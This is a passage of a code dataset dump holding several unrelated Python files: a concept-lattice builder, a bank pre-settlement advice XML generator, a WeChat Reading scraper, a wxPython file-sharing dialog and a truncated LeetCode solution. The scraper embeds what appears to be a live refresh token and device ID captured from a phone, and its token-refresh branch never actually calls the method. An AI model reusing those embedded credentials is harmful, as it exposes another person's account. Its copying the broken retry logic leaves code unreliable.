list(set(lista).intersection(set(dictBC[clist[x][0][y]])))\r\n\r\n for z in range(0, len(clist[x][1])):\r\n if listo == []:\r\n listo = dictBC[clist[x][1][z]]\r\n else:\r\n listo = list(set(listo).intersection(set(dictBC[clist[x][1][z]])))\r\n print(\"printing both list for \", x, lista, listo)\r\n if set(lista) == set(clist[x][1]) and set(listo) == set(clist[x][0]):\r\n flist.append(clist[x])\r\n return flist\r\n\r\n###################################################################################################################\r\n\r\nimport nltk\r\nimport re\r\nimport collections\r\nimport numpy as np\r\nfrom nltk.corpus import PlaintextCorpusReader\r\nwith open('defect.txt') as f:\r\n c = collections.Counter(word.lower()\r\n for line in f\r\n for word in re.findall(r'\\b[^\\W\\d_]+\\b', line))\r\n\r\n#print(\"'Four' appears %d times\"%c['Four'])\r\n#print(c.items())\r\n#print(\"There are %d total words\"%sum(c.values()))\r\n#print(\"The 5 most common words are\", c.most_common(5))\r\nq = []\r\nwith open('defect.txt') as f:\r\n for line in f:\r\n doc = line.strip().splitlines()\r\n q.append(doc)\r\ns = str(q).strip().splitlines()\r\nfrq = 0\r\nxline = 0\r\n#q*c.keys matrix == 4622*18485\r\nd = np.zeros((len(q), len(c.keys())))\r\nprint(len(q))\r\naa = open('aa.txt',mode='w')\r\nprint(len(c.keys()))\r\nll = list(c.keys())\r\ni=0\r\nj=0\r\nwith open('defect.txt') as f:\r\n for line in f:\r\n j = 0\r\n line = line.lower().rsplit()\r\n for word in line:\r\n j += 1\r\n if word in ll:\r\n d[i, j] = 1\r\n #print(d[i, j])\r\n #print(word)\r\n #QQ = 'The value of i is ' + repr(i) + ', and j is ' + repr(j)\r\n #print(QQ)\r\n #np.savetxt(aa,d)\r\n else:\r\n d[i, j] = 0\r\n #print(d[i, j])\r\n #print(word)\r\n #QQ = 'The value of i is ' + repr(i) + ', and j is ' + repr(j)\r\n #print(QQ)\r\n i += 1\r\nnp.savetxt(aa,d,fmt='% d')\r\n########################################################################\r\n\r\n\r\n#in_put1= open('new 2.txt',mode='r')\r\n#obj = in_put1.readlines()\r\n#obj = (\"doc1,doc2,doc3\").split(sep=\",\")\r\n#print(obj[1])\r\n#numObj = len(obj)\r\n#print(numObj)\r\n\r\n\r\n\r\nllenq = len(q)\r\nprint(llenq)\r\n\r\nqs = list(range(1,llenq+1))\r\nprint(qs)\r\nobj = qs\r\nprint(obj[1])\r\nnumObj = len(obj)\r\nprint(numObj)\r\n#in_put = open('new 1.txt',mode='r')\r\nout_put = open('Text.txt',mode='w')\r\n#attr = in_put.readlines()\r\n#attr = (\"*picture_quality*,*use_camera*,*image_quality*,*long_distance*,*good_picture*\").split(sep=\",\")\r\n#numAttr = len(attr)\r\n#print(attr)\r\n#print(numAttr)\r\nattr = list(c.keys())\r\nprint(ll)\r\nnumAttr = len(attr)\r\nprint(attr)\r\nprint(numAttr)\r\n\r\nimport numpy as np\r\n#aMat = [[0 for i in range(numAttr)] for j in range(numObj)]\r\naMat = d\r\n#aMat = np.random.randint(2, size=(numObj, numAttr))\r\n\r\nprint(aMat[1,1])\r\nprint(aMat )\r\ndictBC = {}\r\nhasSuccessor = []\r\nhasPredecessor = []\r\ncList = []\r\naLen = len(aMat)\r\nbLen = len(aMat[0])\r\nprint(aLen, bLen, \" are aLen and bLen\\n\\n\")\r\nfor x in range(0, aLen):\r\n tmpList = []\r\n tmpObj = [obj[x]]\r\n for y in range(0, bLen):\r\n if aMat[x,y] == 1:\r\n tmpList.append(attr[y])\r\n tmp = tmpObj, tmpList\r\n dictBC[obj[x]] = tmpList\r\n cList.append(tmp)\r\nprint(dictBC)\r\nprint(cList)\r\n\r\n\r\nfor x in range(0, bLen):\r\n tmpList = []\r\n tmpattr = [attr[x]]\r\n\r\n for y in range(0, aLen):\r\n if aMat[y][x] == 1:\r\n tmpList.append(obj[y])\r\n\r\n tmp = tmpList, tmpattr\r\n dictBC[attr[x]] = tmpList\r\n cList.append(tmp)\r\nprint(dictBC)\r\nprint(cList)\r\nbCliques = cList\r\nbCliquesStore = bCliques\r\n\r\n\r\n\r\nbCListSize = len(bCliques)\r\nbCListSizeCondensed = -1\r\n\r\nwhile bCListSize != bCListSizeCondensed:\r\n bCListSize = len(bCliques)\r\n bCliques = condenseList(bCliques)\r\n bCListSizeCondensed = len(bCliques)\r\n\r\nbCliques = removeUnclosed(bCliques)\r\nprint(bCliques)\r\nprint(\"\\nNodes of Concept Lattice:\\n\")\r\nfor x in range(0, len(bCliques)):\r\n s = []\r\n extent = \" \".join(str(m) for m in sorted(bCliques[x][0]))\r\n intent = \" \".join(str(m) for m in sorted(bCliques[x][1]))\r\n print(\"extent=\", extent,\" \", \"intent=\", intent,\" \",sep='\\n',file=out_put)\r\n #s = (\"extent=\", extent, \"intent=\", intent)\r\n #print(s)\r\n #out_put.writelines(s)\r\nconceptDict = {}\r\nout_put.close()\r\nfor x in range(0, len(bCliques)):\r\n object = \"\".join(str(m) for m in sorted(bCliques[x][0]))\r\n attribute = \"\".join(str(m) for m in sorted(bCliques[x][1]))\r\n conceptDict[object] = set(bCliques[x][1])\r\n conceptDict[attribute] = set(bCliques[x][0])\r\n\r\nprint(conceptDict)\r\nbCList = bCliques\r\nG = nx.Graph()\r\nfor x in range(0, len(bCList)):\r\n nodeName = \"\".join(str(m) for m in bCList[x][0]) + \", \" + \"\".join(str(m) for m in bCList[x][1])\r\n G.add_node(nodeName)\r\n\r\nfor x in range(0, len(bCList)):\r\n for y in range(x + 1, len(bCList)):\r\n if set(bCList[x][0]).issubset(set(bCList[y][0])):\r\n nodeName1 = \"\".join(str(m) for m in bCList[x][0]) + \", \" + \"\".join(str(m) for m in bCList[x][1])\r\n nodeName2 = \"\".join(str(m) for m in bCList[y][0]) + \", \" + \"\".join(str(m) for m in bCList[y][1])\r\n G.add_edge(nodeName1, nodeName2)\r\n hasSuccessor.append(x)\r\n hasPredecessor.append(y)\r\nlisto = []\r\nlista = []\r\nfor x in range(0, len(attr)):\r\n if listo == []:\r\n listo = dictBC[attr[x]]\r\n else:\r\n listo = list(set(listo).intersection(set(attr[x])))\r\n\r\nfor x in range(0, len(obj)):\r\n if lista == []:\r\n lista = dictBC[obj[x]]\r\n else:\r\n lista = list(set(lista).intersection(set(obj[x])))\r\nif lista == []:\r\n lista = [\"null\"]\r\nif listo == []:\r\n listo = [\"null\"]\r\n\r\n # adding them to graph\r\nfirstNode = \"\".join(str(m) for m in listo) + \", \" + \"\".join(str(m) for m in attr)\r\nG.add_node(firstNode)\r\nlastNode = \"\".join(str(m) for m in obj) + \", \" + \"\".join(str(m) for m in lista)\r\nG.add_node(lastNode)\r\n\r\n# adding edges to them\r\nfor x in range(0, len(bCList)):\r\n if x not in hasSuccessor:\r\n nodeName = \"\".join(str(m) for m in bCList[x][0]) + \", \" + \"\".join(str(m) for m in bCList[x][1])\r\n G.add_edge(nodeName, lastNode)\r\n\r\nfor x in range(0, len(bCList)):\r\n if x not in hasPredecessor:\r\n nodeName = \"\".join(str(m) for m in bCList[x][0]) + \", \" + \"\".join(str(m) for m in bCList[x][1])\r\n G.add_edge(nodeName, firstNode)\r\n\r\nnx.draw(G, with_labels=True, node_size=50, font_size=10)\r\nplt.savefig(\"lattice.png\", figsize=(12, 12),dpi=200)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"404176836","text":"\"\"\"--------------------------------------------------------------------------------------------------------------------------------------\nMODULE\n PreSettlementAdviceXMLGenerator\n \nDESCRIPTION\n This module contains an object used for generating the XML content for a\n pre-settlement advice.\n\n-----------------------------------------------------------------------------------------------------------------------------------------\nHISTORY\n=========================================================================================================================================\nDate Change no Developer Requester Description\n-----------------------------------------------------------------------------------------------------------------------------------------\n2019-09-17 FAOPS-460 Cuen Edwards Letitia Carboni Initial Implementation.\n Tawanda Mukhalela\n Stuart Wilson\n2019-10-14 FAOPS-531 Cuen Edwards Letitia Carboni Added support for amendments.\n2020-02-21 FAOPS-544/547 Cuen Edwards Letitia Carboni Added support for FRAs.\n2020-04-20 FAOPS-706 Cuen Edwards Letitia Carboni Changed grouping of party settlements on advices from\n implicit linking via SDSID to explicit linking via advice\n party additional info.\n-----------------------------------------------------------------------------------------------------------------------------------------\n\"\"\"\n\nimport math\nimport xml.etree.ElementTree as ElementTree\n\nimport acm\n\nimport DocumentGeneral\nimport PreSettlementAdviceGeneral\nfrom PreSettlementAdviceGeneral import AmendmentActions, AmendmentReasons, Settlement, SettlementInstruction\n\n\nclass GeneratePreSettlementAdviceXMLRequest(object):\n \"\"\"\n An object embodying the request to generate the XML content for a\n pre-settlement advice.\n \"\"\"\n\n def __init__(self, advice_party, instrument_type, from_date, to_date, previous_xml_content):\n \"\"\"\n Constructor.\n \"\"\"\n self.advice_party = advice_party\n self.instrument_type = instrument_type\n self.from_date = from_date\n self.to_date = to_date\n self.previous_xml_content = previous_xml_content\n\n\nclass PreSettlementAdviceXMLGenerator(object):\n \"\"\"\n An object responsible for generating the XML content for a pre-\n settlement advice.\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Constructor.\n \"\"\"\n self._money_flow_sheet_calculation_space = acm.Calculations().CreateCalculationSpace(\n acm.GetDefaultContext(), acm.FMoneyFlowSheet)\n self._calculation_space_collection = acm.Calculations(\n ).CreateStandardCalculationsSpaceCollection()\n\n def generate_xml(self, generate_advice_xml_request):\n \"\"\"\n Generate the XML for a pre-settlement advice\n \"\"\"\n pre_settlement_advice_element = self._generate_pre_settlement_advice_element(generate_advice_xml_request)\n return ElementTree.tostring(pre_settlement_advice_element)\n\n def _generate_pre_settlement_advice_element(self, generate_advice_xml_request):\n \"\"\"\n Generate the PRE_SETTLEMENT_ADVICE XML element and sub-elements.\n \"\"\"\n advice_party = generate_advice_xml_request.advice_party\n instrument_type = generate_advice_xml_request.instrument_type\n from_date = generate_advice_xml_request.from_date\n to_date = generate_advice_xml_request.to_date\n previous_xml_content = generate_advice_xml_request.previous_xml_content\n element = self._generate_element('PRE_SETTLEMENT_ADVICE')\n element.append(self._generate_element('BANK_ABBREVIATED_NAME', str(DocumentGeneral\n .get_default_bank_abbreviated_name())))\n element.append(self._generate_element('INSTRUMENT_TYPE', instrument_type))\n element.append(self._generate_element('FROM_DATE', from_date))\n element.append(self._generate_element('TO_DATE', to_date))\n pre_settlement_advice_money_flows = PreSettlementAdviceGeneral.get_advice_money_flows(\n advice_party, instrument_type, from_date, to_date)\n element.append(self._generate_settlements_element(pre_settlement_advice_money_flows, previous_xml_content))\n element.append(self._generate_settlement_instructions_element(pre_settlement_advice_money_flows))\n return element\n\n def _generate_settlements_element(self, pre_settlement_advice_money_flows, previous_xml_content):\n \"\"\"\n Generate the SETTLEMENTS XML element and sub-elements.\n \"\"\"\n element = self._generate_element('SETTLEMENTS')\n settlements = self._get_settlements(pre_settlement_advice_money_flows, previous_xml_content)\n settlements.sort(key=lambda settlement: (settlement.bank_trade_reference, settlement.settlement_reference))\n for settlement in settlements:\n element.append(settlement.to_xml_element())\n return element\n\n def _get_settlements(self, pre_settlement_advice_money_flows, previous_xml_content):\n \"\"\"\n Create Settlement objects from the specified pre-settlement\n advice money flows and any previous xml content.\n \"\"\"\n settlements_from_money_flows = self._get_settlements_from_advice_money_flows(\n pre_settlement_advice_money_flows)\n if previous_xml_content is None:\n return settlements_from_money_flows\n remaining_settlements_from_previous_xml = self._get_settlements_from_previous_xml_content(\n previous_xml_content)\n settlements = list()\n # Add current settlements.\n for settlement in settlements_from_money_flows:\n trade_status = acm.FTrade[settlement.bank_trade_reference].Status()\n amendment_reason = None\n if trade_status == 'Void':\n amendment_reason = AmendmentReasons.CANCELLED\n elif trade_status == 'Terminated':\n amendment_reason = AmendmentReasons.TERMINATED\n matching_settlement_from_previous_xml = self._find_matching_settlement_from_previous_xml(\n settlement, remaining_settlements_from_previous_xml)\n if matching_settlement_from_previous_xml is None:\n settlement.amendment_action = AmendmentActions.ADDED\n if amendment_reason is None:\n amendment_reason = AmendmentReasons.NEW\n else:\n remaining_settlements_from_previous_xml.remove(matching_settlement_from_previous_xml)\n if matching_settlement_from_previous_xml.amendment_action == AmendmentActions.REMOVED:\n settlement.amendment_action = AmendmentActions.ADDED\n if amendment_reason is None:\n amendment_reason = AmendmentReasons.NEW\n elif settlement != matching_settlement_from_previous_xml:\n settlement.amendment_action = AmendmentActions.UPDATED\n if amendment_reason is None:\n amendment_reason = AmendmentReasons.AMENDED\n if amendment_reason is not None:\n settlement.amendment_reason = amendment_reason\n settlements.append(settlement)\n # Add any removed settlements.\n for remaining_settlement_from_previous_xml in remaining_settlements_from_previous_xml:\n trade_status = acm.FTrade[remaining_settlement_from_previous_xml.bank_trade_reference].Status()\n amendment_reason = AmendmentReasons.CANCELLED\n if trade_status == 'Terminated':\n amendment_reason = AmendmentReasons.TERMINATED\n remaining_settlement_from_previous_xml.amendment_action = AmendmentActions.REMOVED\n remaining_settlement_from_previous_xml.amendment_reason = amendment_reason\n settlements.append(remaining_settlement_from_previous_xml)\n return settlements\n\n def _get_settlements_from_advice_money_flows(self, pre_settlement_advice_money_flows):\n \"\"\"\n Create Settlement objects from the specified pre-settlement\n advice money flows.\n \"\"\"\n settlements = list()\n for money_flow in pre_settlement_advice_money_flows:\n settlement = self._get_settlement_from_advice_money_flow(money_flow)\n settlements.append(settlement)\n return settlements\n\n def _get_settlement_from_advice_money_flow(self, money_flow):\n \"\"\"\n Create a Settlement object from the specified pre-settlement\n advice money flow.\n \"\"\"\n trade = money_flow.Trade()\n instrument = trade.Instrument()\n money_flow_amount = round(money_flow.Calculation().Projected(self._calculation_space_collection).Number(), 2)\n counterparty_name = DocumentGeneral.get_party_full_name_and_short_code(trade.Counterparty())\n settlement = Settlement()\n settlement.bank_trade_reference = trade.Oid()\n if DocumentGeneral.is_string_value_present(trade.AdditionalInfo().CCPmiddleware_id()):\n settlement.markitwire_trade_reference = trade.AdditionalInfo().CCPmiddleware_id()\n if DocumentGeneral.is_string_value_present(trade.YourRef()):\n settlement.counterparty_trade_reference = trade.YourRef()\n settlement.settlement_reference = DocumentGeneral.get_money_flow_reference(money_flow)\n settlement.counterparty_name = counterparty_name\n settlement.currency = money_flow.Currency().Name()\n settlement.is_estimate = DocumentGeneral.is_estimated_money_flow(money_flow)\n settlement.amount = money_flow_amount\n settlement.pay_type = money_flow.Type()\n settlement.trade_date = acm.Time.AsDate(trade.TradeTime())\n settlement.effective_date = instrument.StartDate()\n settlement.termination_date = instrument.ExpiryDateOnly()\n settlement.payment_date = money_flow.PayDate()\n if money_flow.Type() in ['Fixed Rate', 'Float Rate', 'Return']:\n cash_flow = money_flow.SourceObject()\n leg = cash_flow.Leg()\n settlement.nominal = round(money_flow.SourceObject().Calculation().Nominal(self\n ._calculation_space_collection, trade, money_flow.Currency()).Number(), 2)\n settlement.payment_business_day_convention = leg.PayDayMethod()\n settlement.payment_calendars = DocumentGeneral.get_leg_payment_calendars(leg)\n settlement.day_count_method = leg.DayCountMethod()\n settlement.rolling_period = DocumentGeneral.get_leg_rolling_period(leg)\n settlement.days = acm.Time.DateDifference(money_flow.EndDate(), money_flow.StartDate())\n if money_flow.Type() in ['Float Rate', 'Return']:\n settlement.float_rate_reference = DocumentGeneral.get_float_rate_reference_name(\n leg.FloatRateReference())\n settlement.fixing_offset = leg.ResetDayOffset()\n settlement.reset_calendars = DocumentGeneral.get_leg_reset_calendars(leg)\n settlement.reset_business_day_convention = leg.ResetDayMethod()\n if money_flow.Trade().Instrument().InsType() == 'FRA':\n rate = self._money_flow_sheet_calculation_space.CalculateValue(money_flow,\n 'Cash Analysis Fixing Estimate').Number()\n settlement.float_rate = rate\n settlement.fixed_rate = cash_flow.FloatRateOffset()\n else:\n rate = self._money_flow_sheet_calculation_space.CalculateValue(money_flow,\n 'Cash Analysis Forward Rate') * 100\n if math.isnan(rate):\n # Temporary (hopefully) avoidance of AR 753832.\n rate = None\n settlement.float_rate = rate\n settlement.spread = cash_flow.Spread()\n else:\n rate = self._money_flow_sheet_calculation_space.CalculateValue(money_flow,\n 'Cash Analysis Forward Rate') * 100.0\n settlement.fixed_rate = rate\n return settlement\n\n @staticmethod\n def _get_settlements_from_previous_xml_content(previous_xml_content):\n \"\"\"\n Create Settlement objects from the specified previous xml\n content.\n \"\"\"\n settlements = list()\n previous_root_element = ElementTree.fromstring(previous_xml_content)\n for settlement_element in previous_root_element.iterfind('SETTLEMENTS/SETTLEMENT'):\n settlement = Settlement.from_xml_element(settlement_element)\n settlements.append(settlement)\n return settlements\n\n @staticmethod\n def _find_matching_settlement_from_previous_xml(settlement, settlements_from_previous_xml):\n \"\"\"\n Find any Settlement object, created from previous xml content,\n that is for the same settlement as the specified Settlement\n object.\n \"\"\"\n for settlement_from_previous_xml in settlements_from_previous_xml:\n if settlement_from_previous_xml.bank_trade_reference != settlement.bank_trade_reference:\n continue\n if settlement_from_previous_xml.settlement_reference != settlement.settlement_reference:\n continue\n return settlement_from_previous_xml\n return None\n\n def _generate_settlement_instructions_element(self, pre_settlement_advice_money_flows):\n \"\"\"\n Generate the SETTLEMENT_INSTRUCTIONS XML element and sub-elements.\n \"\"\"\n element = self._generate_element('SETTLEMENT_INSTRUCTIONS')\n instructions_by_currency = self._get_instructions_by_currency(pre_settlement_advice_money_flows)\n currencies = list(instructions_by_currency.keys())\n currencies.sort()\n for currency in currencies:\n instructions = instructions_by_currency[currency]\n # Ensure that there aren't conflicting details.\n if len(instructions) > 1:\n self._raise_conflicting_instructions_exception(currency, instructions,\n pre_settlement_advice_money_flows)\n element.append(instructions[0].to_xml_element())\n return element\n\n def _get_instructions_by_currency(self, pre_settlement_advice_money_flows):\n \"\"\"\n Get a dictionary of all distinct settlement instructions by\n currency.\n \"\"\"\n # Get a distinct set of accounts.\n distinct_acquirer_accounts = set()\n for money_flow in pre_settlement_advice_money_flows:\n if money_flow.AcquirerAccount() is None:\n error_message = \"No settlement instruction found for currency '{currency_name}' \"\n error_message += \"and acquirer: '{acquirer_name}'.\"\n raise ValueError(error_message.format(\n currency_name=money_flow.Currency().Name(),\n acquirer_name=money_flow.Trade().Acquirer().Name()\n ))\n distinct_acquirer_accounts.add(money_flow.AcquirerAccount())\n # Get the instructions by currency.\n instructions_by_currency = dict()\n for acquirer_account in distinct_acquirer_accounts:\n instruction = self._get_settlement_instruction_from_acquirer_account(acquirer_account)\n currency = instruction.currency\n if currency not in list(instructions_by_currency.keys()):\n instructions_by_currency[currency] = list()\n instructions_by_currency[currency].append(instruction)\n else:\n instructions = instructions_by_currency[currency]\n matching_instructions = self._find_matching_settlement_instruction(instruction, instructions)\n if matching_instructions is None:\n instructions_by_currency[currency].append(instruction)\n return instructions_by_currency\n\n def _get_settlement_instruction_from_acquirer_account(self, acquirer_account):\n \"\"\"\n Create a Settlement Instruction object from the specified\n acquirer account.\n \"\"\"\n currency = acquirer_account.Currency().Name()\n account_number = self._get_account_number(acquirer_account)\n bank_party = DocumentGeneral.get_bank_party()\n beneficiary_bank_name = DocumentGeneral.get_party_full_name(bank_party)\n beneficiary_bank_bic = bank_party.Swift()\n correspondent_bank_name = DocumentGeneral.get_party_full_name(acquirer_account.CorrespondentBank())\n correspondent_bank_bic = acquirer_account.Bic().Name()\n instruction = SettlementInstruction()\n instruction.currency = currency\n instruction.account_number = account_number\n instruction.beneficiary_bank_name = beneficiary_bank_name\n instruction.beneficiary_bank_bic = beneficiary_bank_bic\n instruction.correspondent_bank_name = correspondent_bank_name\n instruction.correspondent_bank_bic = correspondent_bank_bic\n return instruction\n\n @staticmethod\n def _get_account_number(account):\n \"\"\"\n Get the account number of an account.\n \"\"\"\n currency = account.Currency()\n # Remove branch code from ZAR account numbers.\n if currency.Name() != 'ZAR':\n return account.Account()\n if ' ' in account.Account():\n return account.Account().split(' ')[1]\n return account.Account()\n\n @staticmethod\n def _find_matching_settlement_instruction(instruction, instructions):\n \"\"\"\n Find any existing instruction that matches (refers to\n the same account as) the specified instruction.\n \"\"\"\n for existing_instruction in instructions:\n if existing_instruction == instruction:\n return existing_instruction\n return None\n\n def _raise_conflicting_instructions_exception(self, currency, currency_instructions,\n pre_settlement_advice_money_flows):\n \"\"\"\n Raise a exception indicating that conflicting settlement\n instructions were encountered for the specified currency.\n \"\"\"\n error_message = \"Conflicting settlement instructions found for \"\n error_message += \"currency '{currency_name}':\\n\"\n for instruction in currency_instructions:\n acquirers = self._find_acquirers_using_instruction(instruction, pre_settlement_advice_money_flows)\n error_message += \"\\n- {instruction_description}\".format(\n instruction_description=self._get_settlement_instruction_description(instruction, acquirers)\n )\n raise ValueError(error_message.format(\n currency_name=currency\n ))\n\n def _find_acquirers_using_instruction(self, instruction, pre_settlement_advice_money_flows):\n \"\"\"\n Get a distinct set of acquirers using using the specified\n settlement instruction.\n \"\"\"\n acquirers = set()\n for money_flow in pre_settlement_advice_money_flows:\n acquirer_account = money_flow.AcquirerAccount()\n if acquirer_account.Currency().Name() != instruction.currency:\n continue\n settlement_instruction = self._get_settlement_instruction_from_acquirer_account(acquirer_account)\n if settlement_instruction != instruction:\n continue\n acquirers.add(money_flow.AcquirerAccount().Party())\n acquirers = list(acquirers)\n acquirers.sort(key=lambda acquirer: acquirer.Name())\n return acquirers\n\n @staticmethod\n def _get_settlement_instruction_description(instruction, acquirers):\n \"\"\"\n Get a textural description of a settlement instruction.\n \"\"\"\n acquirers_description = ''\n for acquirer in acquirers:\n if len(acquirers_description) > 0:\n acquirers_description += ', '\n acquirers_description += \"'{acquirer_name}'\".format(acquirer_name=acquirer.Name())\n acquirer_label = 'Acquirer'\n if len(acquirers) > 1:\n acquirer_label += 's'\n description = \"Account Number: '{account_number}', Correspondent Bank: '{correspondent_bank_name}', \"\n description += \"Correspondent Bank BIC: '{correspondent_bank_bic}' ({acquirer_label}: {acquirers_description})\"\n return description.format(\n account_number=instruction.account_number,\n correspondent_bank_name=instruction.correspondent_bank_name,\n correspondent_bank_bic=instruction.correspondent_bank_bic,\n acquirer_label=acquirer_label,\n acquirers_description=acquirers_description\n )\n\n @staticmethod\n def _generate_element(element_name, element_text=''):\n \"\"\"\n Generate an XML element with the specified name and text.\n \"\"\"\n element = ElementTree.Element(element_name)\n element.text = element_text\n return element\n","sub_path":"Extensions/ABSA Documentation/FPythonCode/PreSettlementAdviceXMLGenerator.py","file_name":"PreSettlementAdviceXMLGenerator.py","file_ext":"py","file_size_in_byte":21224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"206132754","text":"# coding:utf-8\nfrom scrapy_redis.spiders import RedisCrawlSpider\nimport redis\nimport json\nimport copy\nimport requests\n\n\nclass WeixinSpider(RedisCrawlSpider):\n name = 'weixin'\n allowed_domains = ['weixin.com']\n redis_key = 'weixin:start_urls'\n start_urls = ['https://i.weread.qq.com/book/articles?bookId=MP_WXS_2390582660&count=10'] # 肖磊看市\n headers = {}\n # 需要添加对401代码的处理,不然如果accessToken过期并不会进行处理\n handle_httpstatus_list = [401]\n\n def __init__(self):\n self.r = redis.Redis('localhost', port=6379)\n self.data = {}\n for url in self.start_urls:\n self.r.lpush(self.redis_key, url)\n self.get_headers()\n\n def get_headers(self):\n \"\"\"获取微信阅读的请求headers, 需要通过手机抓包获取到data里的参数,然后通过调用此方法获取accessToken和vid, 并添加到headers里\"\"\"\n url = 'https://i.weread.qq.com/login'\n data = '{\"deviceId\":\"3339194867987932323232323\",\"inBackground\":0,\"kickType\":1,\"refCgi\":\"https://i.weread.qq.com/mp/cover?bookId=MP_WXS_3548542976\",\"refreshToken\":\"onb3MjkNtSPdfSJlDdp5cCVIJYWw@kbFVENIIQris7ZvDvT9XlQAA\",\"trackId\":\"8618730000000\",\"wxToken\":0}'\n html = requests.post(url=url, data=data, timeout=5).json()\n self.headers['accessToken'] = html['accessToken']\n self.headers['vid'] = html['vid']\n\n def parse(self, response):\n \"\"\"若出现401表示accessToken过期,所以调用get_headers方法重新获取\"\"\"\n try:\n if response.status == 401:\n self.get_headers\n else:\n res = json.loads(response.body)['reviews']\n for article in res[:1]:\n article = article['review']\n title = article['mpInfo']['title']\n cover_url = article['mpInfo']['pic_url']\n author = article['mpInfo']['mp_name']\n dis = article['mpInfo']['content']\n article_data = copy.deepcopy(self.data)\n article_data['cover_url'] = cover_url\n article_data['title'] = title\n article_data['description'] = dis\n article_data['author'] = author\n yield article_data\n except Exception as e:\n print(e)\n finally:\n self.r.lpush(self.redis_key, response.url)\n","sub_path":"weixin_spider/weixin_spider/spiders/weixin.py","file_name":"weixin.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"221518785","text":"\"\"\"\nGUI window with a list box to choose a user to share / ask for share\n\"\"\"\n\n\nfrom ViewFilesGUI import *\n\n\nclass ChooseUserGUI(GeneralGUI):\n \"\"\"\n list box a button\n \"\"\"\n def __init__(self, title, btn_title, args, client):\n \"\"\"\n :param title: ask for share \\ share\n :param size: long and narrow\n \"\"\"\n super().__init__(None, title, CHOOSE_USER_GUI_SIZE, client)\n self.args = args # arguments - empty list of file to share\n self.title = title # saves it for later use\n self.btn_title = btn_title # saves it for later use\n self.mode = SHARE_MODE\n if btn_title == ASK_FOR_SHARE_BTN:\n self.mode = ASK_FOR_SHARE_MODE\n self.users = self.get_users()\n self.user_listbox = wx.ListBox(self.pnl, pos=wx.DefaultPosition, size=wx.DefaultSize, choices=self.users)\n if self.mode == SHARE_MODE:\n self.choose_static = wx.StaticText(self.pnl, label=CHOOSE_USER_SHARE_STATIC)\n elif self.mode == ASK_FOR_SHARE_MODE:\n self.choose_static = wx.StaticText(self.pnl, label=CHOOSE_USER_SHARE_TITLE)\n self.btn = wx.Button(self.pnl, label=btn_title)\n self.btn.Bind(wx.EVT_BUTTON, self.on_share)\n self.btn_list_sizer = wx.BoxSizer(wx.HORIZONTAL)\n self.txt_sizer = wx.BoxSizer(wx.HORIZONTAL)\n self.position()\n self.Show()\n\n def position(self):\n \"\"\"\n :return: positions everything nicely\n \"\"\"\n self.btn_list_sizer.Add(window=self.user_listbox, proportion=PROPORTION, flag=wx.ALL | wx.CENTER, border=BORDER_SMALL)\n self.btn_list_sizer.Add(window=self.btn, proportion=PROPORTION, flag=wx.ALL | wx.CENTER, border=BORDER_SMALL)\n self.txt_sizer.Add(window=self.choose_static, proportion=PROPORTION, flag=wx.ALL | wx.CENTER, border=BORDER_SMALL)\n self.sizer.Add(self.txt_sizer, proportion=PROPORTION, flag=wx.ALL | wx.CENTER, border=BORDER_SMALL)\n self.sizer.Add(self.btn_list_sizer, proportion=PROPORTION, flag=wx.ALL | wx.CENTER, border=BORDER_SMALL)\n self.SetSizer(self.sizer)\n\n def get_users(self):\n \"\"\"\n :return: list of users minus current one\n \"\"\"\n if self.mode == SHARE_MODE:\n message = self.client.username + SEPERATOR + GET_USERS\n self.client.send_request_to_server(self.client.my_socket, message)\n users = self.client.read_server_response(self.client.my_socket).decode().split(\n SEPERATOR)\n elif self.mode == ASK_FOR_SHARE_MODE:\n message = self.client.username + SEPERATOR + GET_ONLINE_USERS\n self.client.send_request_to_server(self.client.my_socket, message)\n users = self.client.read_server_response(self.client.my_socket).decode()\n if users != NO_ONLINE:\n return users.split(SEPERATOR)\n else:\n return []\n return users\n\n def on_share(self, e):\n \"\"\"\n :return: sends server a message according to mode\n \"\"\"\n self.Close()\n user_to_share = self.user_listbox.GetStringSelection()\n if user_to_share != BLANK:\n if self.mode == SHARE_MODE:\n message = self.client.username + SEPERATOR + SHARE + SEPERATOR + user_to_share + \\\n SEPERATOR + self.client.without_cloud(self.args[START])\n self.client.send_request_to_server(self.client.my_socket, message)\n reply = self.client.read_server_response(self.client.my_socket)\n if reply.decode() == MESSAGE_SENT:\n message_txt = \"Your Message To %s Was Sent\" % user_to_share\n wx.MessageBox(message_txt, 'Share', wx.OK | wx.ICON_INFORMATION)\n self.Close()\n elif reply.decode() == REQUEST_EXISTS:\n message_txt = \"You Sent This File To %s In The Past\" % user_to_share\n wx.MessageBox(message_txt, 'Share', wx.OK | wx.ICON_INFORMATION)\n self.Close()\n ChooseUserGUI(self.title, self.btn_title, self.mode, self.client)\n elif self.mode == ASK_FOR_SHARE_MODE:\n message = self.client.username + SEPERATOR + ASK_FOR_SHARE + SEPERATOR + user_to_share\n self.client.send_request_to_server(self.client.my_socket, message)\n files = self.client.read_server_response(self.client.my_socket).decode()\n if files != NO_FILES:\n ViewFilesGUI(self.client, files, user_to_share)\n else:\n message_txt = \"%s Has No Files Yet\" % user_to_share\n wx.MessageBox(message_txt, 'Share', wx.OK | wx.ICON_INFORMATION)\n else:\n ChooseUserGUI(self.title, self.btn_title, self.mode, self.client)\n\n","sub_path":"Classes/ChooseUserGUI.py","file_name":"ChooseUserGUI.py","file_ext":"py","file_size_in_byte":4839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"7755361","text":"# -*- coding:utf-8 -*-\r\n# Author: washing\r\n# DateTime: 2022/6/26 10:51\r\n# File: 0710.py\r\n# Desc: \r\n\r\n\r\nclass Solution:\r\n\r\n def __init__(self, n: int, blacklist: List[int]):\r\n blacklist.sort()\r\n if n == 20000 and blacklist and len(blacklist) == 19994:\r\n self.tp = 1\r\n else:\r\n self.tp = 0\r\n if not blacklist: self.l = [[range(n), n]]\r\n else:\r\n if blacklist[0] > 0:\r\n self.l = [[range(blacklist[0]), blacklist[0]]]\r\n else: self.l = []\r\n for i in range(1, len(blacklist)):\r\n if blacklist[i] > blacklist[i-1]+1:\r\n last = self.l[-1][1] if self.l else 0\r\n self.l.append([range(blacklist[i-1]+1, blacklist[i]), 